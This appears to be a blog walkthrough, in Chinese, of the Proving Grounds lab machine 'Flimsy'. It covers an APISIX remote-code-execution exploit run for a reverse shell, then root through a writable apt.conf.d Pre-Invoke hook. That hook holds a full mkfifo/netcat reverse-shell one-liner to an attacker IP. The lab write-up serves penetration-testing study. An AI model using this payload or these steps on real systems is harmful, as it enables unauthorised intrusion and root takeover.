Proving Grounds Practice : Flimsy Walkthrough

 Proving Grounds Practice : Flimsy Walkthrough


Foothole (立足點 ) :

  • APISIX RCE 漏洞利用

PE ( 提權 ) :

  • cat /etc/crontab 發現 apt-get update
  • 利用執行 apt-get update 時執行 reverse shell

注意事項 : 

  • Exploit Code 網址寫法,最後要加上 /
  • apt-update 利用學習


第一步 Rustscan,└─$ rustscan -a 192.168.156.220 --scripts none --ulimit 5000 | tee rustscan



snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.156.220 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,80,3306,43500 192.168.156.220 | tee nmap

22 SSH

80 nginx/1.18.0

3306 MySQL

43500 OpenResty web app server、http-server-header: APISIX/2.8



80 /

下方的 Send 測試了沒有用會顯示 405 Not Allowed





80 /robots.txt



whatweb 80



gobuster 80,沒東西




43500 /



searchsploit APISIX 發現一個 RCE 50829,版本顯示 2.12.1(靶機的版本是 2.8)



看了一下 Exploit-DB 版本 2.8 有在範圍內,內容看來沒啥好改的



跑一下看看,有告知使用方式 [!] Usage   : ./apisix-exploit.py <target_url> <lhost> <lport>



跑跑看 └─$ python3 50829.py http://192.168.156.220:43500 192.168.45.224 4444

結果 GG

後來再網址最後面加上 / 成功

└─$ python3 50829.py http://192.168.156.220:43500/ 192.168.45.224 4444



Reverse Shell 沒有進來,後來將 Port 改成 443 成功拿到 Reverse Shell



開始 PE,cat /etc/crontab,發現 root 的 sh

* * * * * root apt-get update

* * * * * root /root/run.sh --> 這個無法讀取,沒有權限



pspy64 看一下,發現會定期跑 apt-get update



Google 看一下 apt-get update configuration file 的檔案

參考 : https://manpages.ubuntu.com/manpages/xenial/man5/apt.conf.5.html

可以知道檔案是 /usr/apt/apt.conf



kali 中 /usr 下沒有 /apt 目錄,參考這一篇說明 : https://systemweakness.com/code-execution-with-apt-update-in-crontab-privesc-in-linux-e6d6ffa8d076




有告知是在 /etc/apt/apt.conf.d/ 底下,手法是呼叫 bash 建立 Reverse Shell



手法跟這一篇說明一樣使用 Pre-Invoke 的方式

https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/





目錄在 /etc/apt 底下, apt.conf.d 目錄底下是執行的內容

且 everyone 都有寫入的權限,就決定是它了



在該目錄底下直接建立一個檔案 shell,使用跟文章一樣的手法,內容如下

echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.224 4446 >/tmp/f"};' > shell



拿到 root 了



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)